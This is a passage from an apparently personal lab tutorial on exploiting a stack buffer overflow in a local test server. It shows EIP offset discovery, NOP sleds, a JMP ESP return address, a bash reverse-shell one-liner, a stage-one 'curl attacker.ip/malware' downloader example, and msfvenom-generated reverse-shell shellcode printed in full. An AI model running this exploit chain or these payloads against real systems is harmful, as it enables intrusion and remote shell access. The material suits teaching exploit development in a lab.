are	4	byte	or	32	bit	registers	therefore	we	can	break	that	final	9	E’s	into	4	E’s	and	4	F’s	and	see	what	happens.		

python	-c	'print	"\x41"*1000	+	"\x42"*25	+	"\x43"*8	+	"\x44"*8	+	"\x45"*4	+	"\x46"*4	'	
	

	

Close! 3 bytes of E’s or 3 x45’s but look closely one byte of D or x44. This means we need to subtract one D (x44)	. I feel like we’re	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

one	step	away.		

python	-c	'print	"\x41"*1000	+	"\x42"*25	+	"\x43"*8	+	"\x44"*	7		+	"\x45"*4	+	"\x46"*4	'	
	
	

	

Boom!		That’s	it.	4	bytes	of	E’s		o	r		4	x45’s.	Let’s	crack	open	our	registers	and	confirm	that	we	have	control	over	our	instruction	pointer.		

	

Okay so let’s recap. You can save time during binary tree analysis if you print your fuzzer’s buffer to screen. In this case we know the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

crash occurred between 1000 and 1100. We also learned that our instruction pointer was well being overwritten with As. We need to	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

find the exact location of the 4 byte EIP register because later we want to put a memory location of our “malware” and tell the computer	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	



to return to our malware in buffer. If you noticed that the 44’s were at the end of EIP and not the beginning, good catch. This is because	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

Intel x86 is little endian meaning that the instructions are considered “backwards” when provided to the CPU. Basically it reads from	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

right-to-left	relative	to	the	order	you	supplied	the	data.		

Finding	Instruction	Pointer	the	fast	way	!!!	

Lucky for us there is a nice little program which helps us solve this problem much more quickly. Unfortunately, I found that when your	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

program.		

https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_create.rb	

So,	our	fuzzer	told	us	the	crash	happened	at	approximately	1100	bytes

	

root@kali:~#		locate	pattern_create		/usr/share/metasploit-framework/tools/exploit/pattern_create.rb	

root@kali:~#		/usr/share/metasploit-framework/tools/exploit/pattern_create.rb	-l		1100		

	

This will create a pattern where each 4 bytes is a unique string. Gosh, I wish someone told me that. You will paste the output from this	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

command into your client.py buffer and overflow the program. You will then receive a segmentation fault and go back into the registers	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

and find the unique 4 byte value in EIP. You’ll use a sister program which essentially counts the number of bytes in pattern_create.rb	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

output		until	it	gets	to	the	unique	4	byte	value	that	was	copied	into	EIP.		

Example	

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk	

	

https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_create.rb


	

You	can	check	the	register	too,	just	to	confirm	the	unique	four	byte	string	that	was	written	into	EIP.		0x37694236	

	

	

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

value.	 	 	 	 	

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb	-l	1100	-q		37694236	

	

Let’s	compare	the	1040	byte	offset	against	the	offset	we	found	manually	using	binary	tree	analysis.		

python	-c	'print	"\x41"*1000	+	"\x42"*25	+	"\x43"*8	+	"\x44"*7	+		"\x45"*4	(EIP)		+	"\x46"*4	'	
	
1000+25+8+7	=		1040		
	
Now	we	know	that	our	buffer	and	registers	before	EIP	is	approximately	1040	bytes	long	while	the	following	4	bytes	will	be	our	memory	
address	that	returns	us	back	into	our	buffer	and	eventually	runs	our	programs.	Once	again,	I	found	this	silly	picture	not	only	amusing	but	
the	most	useful.		Ignore	the	500	byte	size	length,	and	replace	that	with	1040	for	example.		
	

	



	

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

We’ll add exactly 1040 bytes of NOPS for now. Take a second look at the illustration above and see that we’re going to write out a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

bunch	of	NOPS	and	eventually	add	some	“malware”	code	

python	-c	'print	"\x90"*1040	+		"\x45"*4		+	"\x90"*4	'	
	

	

Let’s	modify	our	client.py	script	to	adjust	for	the	new	1040	offset	and	NOPs.		

	

Notice how similar, the manual python script looks to the replaced MESSAGE variable value. If this update works correctly we’d expect	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

that	memory	locations	before	EIP	to	be	x90’s	and	we’d	expect	to	see	that	EIP	is	x45454545	

MESSAGE	=	"\x90"*1040	+	"\x45"*4	+	"\x90"*1000	

Run the vulnerable tcp server and client.py side-by-side and you’ll find that the segmentation fault occurs at EIP with a value of exactly	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

x45454545.		

	



	

	

	

	

Now most importantly, what do we put into the Instruction Pointer ? That depends on where your buffer of x90’s land. To find our	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

NOPS	lets	run	the	attack	with	the	following	logic	in	the	client.py	

MESSAGE	=	"\x90"*1040	+	"\x45"*4	+	"\x90"*1000	

Let’s	switch	some	things	up	and	try	a	new	debugger	…	

1. ./Server	1337	

2. From	terminal	#2	→	edb	

3. From	edb	UI	→	file→	attach	→	“Server”	

4. From	edb	UI	→	file→	debug	→	run	→	run	(twice	or	so)	

5. Update	your	clientPoC	code		

6. python	clientPoC.py	1337	

Code	Changes		

malware	=	("\x41"	*	100)	

eip	=	"\x42"	*	4	

ending	=	"\x90"	*	200	

nopsled	=	("\x90"	*	(1000	-	len(malware)))	

MESSAGE	=	"\x90"*1040	+	eip	+	nopsled	+	malware	+	ending	

	

We	land	some	x42’s	perfectly	on	EIP	which	means	we	adjusted	for	the	buffer	correctly.		



	

	

Right click in the registers and do a follow in memory dump. In this case, I clicked ESP and found some 90’s in the bottom left-hand	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

corner.		

	

Looking at our memory we see can see the 90’s we wrote before EIP, we can see the x42 which is EIP, and we can see that ESP points	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

to memory address bffff310. If we continue to scroll down into ESP we should find a bunch of A’s which symbolizes our malware. At	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

memory	address	bfff6a0	we	find	our	A’s	which	might	as	well	be	malware.		

	

	

	

	

	

	

	



	

	

	

Now	that	we	know	the	x90’s	feed	nicely	into	our	malware	we	want	to	find	a	local	static	binary	with	an	OP	CODE	that	allows	us	to	jump	

into	ESP.	We’ll	need	a	binary	that	is	already	loaded	into	memory	that	grants	our	program	read	permission.	From	there,	we	will	search	for	

a	JMP	ESP	opcode	to	find	a	memory	location	with	that	instruction.		

1. run	the	vulnerable	server		

2. start	up	edb	debugger	and	attack	the	vulnerable	server		

3. right	click	Plugins	→	OpsCode	search	→	Click		ESP	to	EIP		

4. Manually	search	through	each	loaded	binary	and	click	search		

	

	

0xb7facf97 or \x97\xcf\xfa\xb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

to	jump	into	the	memory	address	held	at	ESP	register	and	then	execute	our	malware	in	ESP.	As	a	friendly	reminder,		

	



	

	

So what do we want our malware to do? For now, let’s create a simple reverse shell back to a command and control server. In the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

future,	I’ll	write	a	paper	about	a	custom	piece	of	malware	just	for	fun.	

A	boilerplate	universal	reverse	shell	on	linux	looks	like	the	one	below...	

/bin/sh	-i	>&	/dev/tcp/127.0.0.1/4444	0>&1	

Let’s test this out on a similar OS to the target server (as best we can) to make sure it will run correctly. We’ll create a netcat listener in	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

one terminal listening on port 4444 and we’ll execute the reverse shell from another terminal and attempt to connect to the listener. It	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

looks	like	this	simple	reverse	/bin/sh	shell	command	will	work	on	the	target	OS	(my	local	host	lolz).		

	

The next part that gets overlooked is the assembler encoding into machine op code. Kali Linux and Metasploit have tools that generate	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood. If your self-taught noob like myself and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

not comp-sci person, then it’s good we take a moment to cover this. Even if you don’t fully understand it, you’ll at least understand there	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

is	an	added	layer	of	complexity.		

Let’s	refer	to	our	friend	wikipedia	for	help	here.	I	personally	concatenate	a	bunch	of	this	together	because	I	found	it	useful	in	my	notes,		

“The Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture. It can be used to write 16-bit, 32-bit (IA-32) and 64-bit (x86-64) programs.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

NASM principally outputs object files, which are generally not executable by themselves. In computing, object code or object module is the product of a compiler. In a general	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

sense object code is a sequence of statements or instructions in a computer language, usually a machine code language (i.e., binary) or an intermediate language such as	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

register transfer language (RTL). An assembler is used to convert assembly code into machine code (object code). An assembly language (or assembler language), often	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

abbreviated asm, is any low-level programming language in which there is a very strong correspondence between the program's statements and the architecture's machine	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

code	instructions.”	

So when we put in \x90,\x41,\x42 etc. etc. you might have noticed that the values stayed the same in memory and in the registers. But	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

when we put in a bunch of A’s for some reason the EIP register spit out x\41s. Well, when we performed “info all-registers” we’re seeing	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the HEX variant (\x41,\x42\x43) of the variables used in the CPU’s assembly language. That’s part of the assembly language at work	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

helping	us	go	from	a	higher	level	language	in	C	to	a	lower	level	language	to	the	CPU	that	we	don’t	understand	like	binary	1’s	and	0’s.		

So, when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

commands because the assembly is already expecting that value in the register to execute when the function is called. I can’t explain it	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	



any deeper, other than saying it’s “magic”. All I know is that if you try to put human readable bash command syntax into a register the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

register	doesn't	know	what	to	do	with	it	because	“it	doesn't	speak	that	language”	….	you	feel	me..	(-8…		

Put	simply,	let’s	take	the	command	we	are	familiar	with	in	BASH	and	encode	it	into	simple	HEX	for	illustration…..	

/bin/sh	-i	>&	/dev/tcp/127.0.0.1/4444	0>&1	

encodes	to		

\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x

2f\x34\x34\x34\x34\x20\x30\x3e\x26\x31	

Unfortunately, the assembly still wont “understand” what that HEX bash command means. Largely because we’re executing directly	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

from the stack and therefore we need x86 equivalent instructions. However, it does visually illustrate the point that we’re taking a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

simple	shell	command	and	encoding	it	into	assembly	and	writing	the	output	in	C	HEX.		

To make this easier we’ll use a tool from here on, to help us translate a similar shell command like the one below into a lower level x86	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

encoded	command	that	the	kernel	can	interpret		

/bin/sh	-i	>&	/dev/tcp/127.0.0.1/4444	0>&1	

msfvenom	-p	linux/x86/shell_reverse_tcp	LHOST=127.0.0.1	LPORT=4444	-f	c	–e	x86/shikata_ga_nai	-b	"\x00\x0a\x0d"	

x86	encoded	Shell	Code		

"\xdd\xc4\xb8\xe3\xb7\xf6\x55\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"	

"\x12\x31\x43\x17\x83\xc3\x04\x03\xa0\xa4\x14\xa0\x17\x10\x2f"	

"\xa8\x04\xe5\x83\x45\xa8\x60\xc2\x2a\xca\xbf\x85\xd8\x4b\xf0"	

"\xb9\x13\xeb\xb9\xbc\x52\x83\x46\x3f\xa5\x52\xd1\x3d\xa5\x45"	

"\x7d\xcb\x44\xd5\x1b\x9b\xd7\x46\x57\x18\x51\x89\x5a\x9f\x33"	

"\x21\x0b\x8f\xc0\xd9\xbb\xe0\x09\x7b\x55\x76\xb6\x29\xf6\x01"	

"\xd8\x7d\xf3\xdc\x9b"	

	

The	MSFVENOM	tool	is	extremely	feature	rich.	It	is	easy	to	run	it	blindly	based	on	some	blog	or	training	course	without	fully	

understanding	the	details	behind	the	payloads,	encoders	and	output.	Using	our	example,	I’ll	give	a	60	second	breakdown.	It’s	really	

worth	reading	the	man	page	on	msfvenom	to	understand	the	architectures	and	encoders.		

- p		=	payload	where	payload	could	be	low	level	assembly,	compiled	java,	jsp,	shell	commands	cross	platform		

- shell_reverse		where	the	Underscore	means	a	single	staged	payload.	This	means	the	entire	remote	code	execution	occurs	in	a	

single	go.	Alternatively,	a	multi-staged	payload	might	inject	a	“downloader”		then	run	the	downloaded	against	the	attacker’s	

“Web	Server”	to	get	additional	remote	code	/	command	execution.	Think	stage	1	“curl	-s	attacker.ip/malware”	while	stage	2	is	

malware	“/bin/sh	-i	>&	/dev/tcp/127.0.0.1/4444	0>&1”	or	sometihng	far	bigger	and	more	advanced	

- f		=	format	…	That	can	be	raw,	C,	JSP,	shell	etc.	etc.		



- -e		is	the	encoder	in	this	case	for	the	x86	architecture	we’re	working	on	but	there	are	many	many	more		

- -b		are	the	“bad”	characters.	I’ve	included	a	few	examples	here.		

	

Where	do	we	put	our	malware?		

While writing these notes I first put the shell code at the beginning of the buffer before EIP. Let’s think about this for a second, in the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

client.py	script	putting	the	malware	before	EIP	looks	like	this.		

NOPSLED	+	MALWARE	+	EIP	(RETURN	BEFORE	MALWARE)	+	NOPS	

Personally, I found the first approach difficult for this C program because the NOPSLED overwrote 90’s to all my registers. This is	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

important, because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE. I was left	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program. This is inferior	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

address when you run this exploit on a target system outside of your lab. Once again, hard coding the return point is bad and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

unfortunately,	the	NOPSLED	before	EIP	didn't	give	me	much	to	dynamically	jump	into.		

However,	I	did	find	that	putting	my	malware	after	EIP	opened	some	new	doors.	This	approach	looks	closer	to	the	syntax	below.		

NOPS	++	EIP	(JMP	to	REGISTER)	+	NOPSLED	+	MALWARE			+	NOPS	

Like	before	when	finding	JUMP	ESP,	you	can	test	this	out	by	generating	code	similar	to	the	code	below.		

malware	=	"\x41"	x	30	

eip	=	"\x97\xcf\xfa\xb7"	

#	eip	=	"\x41\x41\x41\x41"	

ending	=	"\x90"	*	200	

nopsled	=	("\x41"	*	(1000	-	len(malware)))	

MESSAGE	=	"\x90"*1040	+	eip	+	nopsled	+	malware	+	ending	

After updating the code in the client.py script go ahead and run the attack against the vulnerable server while in EDB debug mode. Then	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

look into your register windows and try to “Find” any x90’s or if you used A’s x41’s. If you find a register, in my case, ESP, I overwrote	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

with a bunch of x41’s. So instead of manually hard coded a memory location into the exploit, I can now simply reference by ESP register	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

pointer	to	jump	into	the	nopsled.		

One point here that was omitted online is the value of this. In order to “Jump” into all those “A’s you will need a library/dll with that	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

specific x86 operation code which your program has access to. Let’s say, Windows or Linux has a library with a JMP ESP command that	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

can program can call, then your exploit becomes more portable because you can simply call that library. Plus if you want to try out	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

bigger malware payloads you don’t have to go down into lower memory locations and hard code the new NOP location to “make room”	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

for a bigger payload. With memory protections enabled, I suspect, this becomes more complex but I think for now we’ll go with the shell	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

code	after	the	EIP	so	we	can	jump	into	ESP.		

NOPS	++	EIP	(JMP	to	REGISTER)	+	NOPSLED	+	MALWARE			+	NOPS	



	

	
Bad	Characters	in	Custom	Malware		
	
If	you	were	to	attempt	to	find	your	own	buffer	overflow	in	a	piece	of	software	and	write	your	own	remote	code	execution	or	remote	
command	execution	you	would	find	that	some	characters	are	reserved	for	promoting	language	and	assembler.	For	example,	x\00	is	used	
for	NULL	point	termination	in	C	which	indicates	an	end	of	an	array	or	buffer	and	tells	a	program	to	stop	at	the	point	it	sees	x\00.	Other	
languages	may	have	similar	reserved	type	of	characters	you	want	to	commit.	As	an	overly	simplified	example	….	
	
	

x86	encoded	ShellCode	w/	Bad	Characters	(For	next	section)		

"\xdd\xc4\xb8\xe3\xb7\xf6\x55\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"	

"\x12\x31\x43\x17\x83\xc3\x04\x03\xa0\xa4\x14\xa0\x17\x10\x2f"	

"\xa8\x04\xe5\x83\x45\xa8\x60\xc2\x2a\xca\xbf\x85\xd8\x4b\xf0"	

"\xb9\x13\xeb\xb9\xbc\x52\x83\x46\x3f\xa5\x52\xd1\x3d\xa5\x45"	

"\x7d\xcb\x44\xd5\x1b\x9b\xd7\x46\x57\x18\x51\x89\x5a\x9f\x33"	

"\x21\x0b\x8f\xc0\xd9\xbb\xe0\x09\x7b\	x00\x00	\x55\x76\xb6\x29\xf6\x01"	

"\xd8\x7d\xf3\xdc\x9b\	x00\x00	"	

Now	let’s	update	our	client.py	code	to	reflect	these	changes	and	include	the	reverse	shell	payload	we	just	made.		

Updated	client.py	Code	with	the	“Bad	Character	code”		

	



	

We’re getting close to the moment of truth. The expected behavior is, when turn on another netcat listener on port 4444 and run the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

client.py, the client.py script will attack the vulnerable tcp server and write our malicious code into the vulnerable server’s buffer and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

overwrite EIP with a memory pointer that will tell the CPU to “go back” to our malicious command which will ultimately create a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

connection back to the “attacker” on the listening 4444 port. However, because we have “Bad Characters” we know the connection	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

will	fail.		

● Enable	netcat	on	port	4444	(nc	-lvp	4444)		

● Turn	on	the	vulnerable	server	in	EDB	(./Server	1337)	and	then	attach	the	program	to	EDB	

● Run	the	updated	client.py	script	against	the	vulnerable	server	(python	client.py	1337)	

● Wait	for	the	victim	machine	to	connect	back	to	the	“Attacker”	on	port	4444	

	

	

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

WHOIS	commands.	Let’s	investigate.		

1. Right	click	EIP	in	Register	Windows	→	Follow	in	Dump		

2. Scroll	around	and	find	the	malware	in	between	the	NOPSLED	and	NOP	ending		

3. Look	for	x00	commands	and	try	to	notice	anything	or	strange		

What	the	Target	Machine	Sees		

	

	

	



	

What	we	sent	over	

	

We go through each HEX character one by one and notice if any original character from the client payload are omitted/goofed up etc.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

etc. This is a slow and tedious part of the process and arguably the best opportunity to learn. We see a whole string of characters does	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

not “match”. So what happened? The bad characters are reserved for various operations and memory locations. If you send an OP	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

CODE for example, then the machine will just process it “as is” not knowing that the characters you sent are part of a specific sequence	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

of characters to form a command. In an environment where you are trying to encode BASH command or x86/ x64 you will run into	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

various characters that your malware payloads can’t use. If you don’t spend the time checking the memory dump for bad	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

characters	then	you	will	have	many	sad	and	lonely	hours	behind	the	keyboard.	

	

So, we have to generate a payload that can omit bad characters. Luckily, we have a program to help us generate x86 shellcode and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

omit	characters.		

msfvenom	-p	linux/x86/shell_reverse_tcp	LHOST=127.0.0.1	LPORT=4444	-f	c	–e	x86/shikata_ga_nai	-b	"\x00\x0a\x0d"	

	

	

	

	

	



	

	

Testing	for	bad	characters	is	the	best	way	for	you	to	learn	the	debugger,	assembly,	and	HEX.	You	can	do	it	at	least	two	ways	that	I	know	

of	…	

1. Use	a	giant	blob	of	all	ASCI	characters	in	HEX	

2. Generate	a	couple	simple	payloads	you	want	to	execute	and	walk	through	the	payload	line	by	line	

	

How	to	test	for	bad	characters	and	other	assembly	and	register	issues		

Terminal	#1:	./Server	1337	

	

Terminal	#2:	edb	(or	GDB,	I	won’t	judge)	

	

from	edb→	attach	→	Server	

	

from	edb	→	debug→	click	run	→	click	run	again	→	look	at	bottom	pain	and	see	if	the	program	is	running		

Terminal	#3:	Execute	the	client	script	with	your	malicious	payload,	pad	with	A’s	or	NOPS	so	you	can	“Find”	your	code	quickly	in	memory.	

You’ll	be	looking	for	x41	or	x90’s		

Option	1	-	All	the	ASCII	

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"	

"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"	

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"	

"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"	

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"	

"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"	



																																"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" 	

"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"	

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"	

"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"	

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"	

"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"	

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"	

"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"	

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"	"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"		

	

Option	2	-	Test	some	specific	commands	 	

	

msfvenom	-p	linux/x86/shell_reverse_tcp	LHOST=127.0.0.1	LPORT=4444	-f	c	–e	x86/shikata_ga_nai	-b	"\x00\x0a\x0d"

	

"\xda\xc2\xb8\x84\x78\xb5\xb8\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"	

"\x12\x31\x47\x17\x03\x47\x17\x83\x6b\x84\x57\x4d\x42\xae\x6f"	

"\x4d\xf7\x13\xc3\xf8\xf5\x1a\x02\x4c\x9f\xd1\x45\x3e\x06\x5a"	

"\x7a\x8c\x38\xd3\xfc\xf7\x50\x9b\xfe\x07\xa1\x0b\xfd\x07\xb0"	

"\x97\x88\xe9\x02\x41\xdb\xb8\x31\x3d\xd8\xb3\x54\x8c\x5f\x91"	

"\xfe\x61\x4f\x65\x96\x15\xa0\xa6\x04\x8f\x37\x5b\x9a\x1c\xc1"	

"\x7d\xaa\xa8\x1c\xfd"	

	

The			-b	"\x00\x0a\x0d"		option	in	the	command	will	omit	the	\x00’s	from	the	output.	Previously,	I	purposely	inserted	some	pesky	x00’s	into	

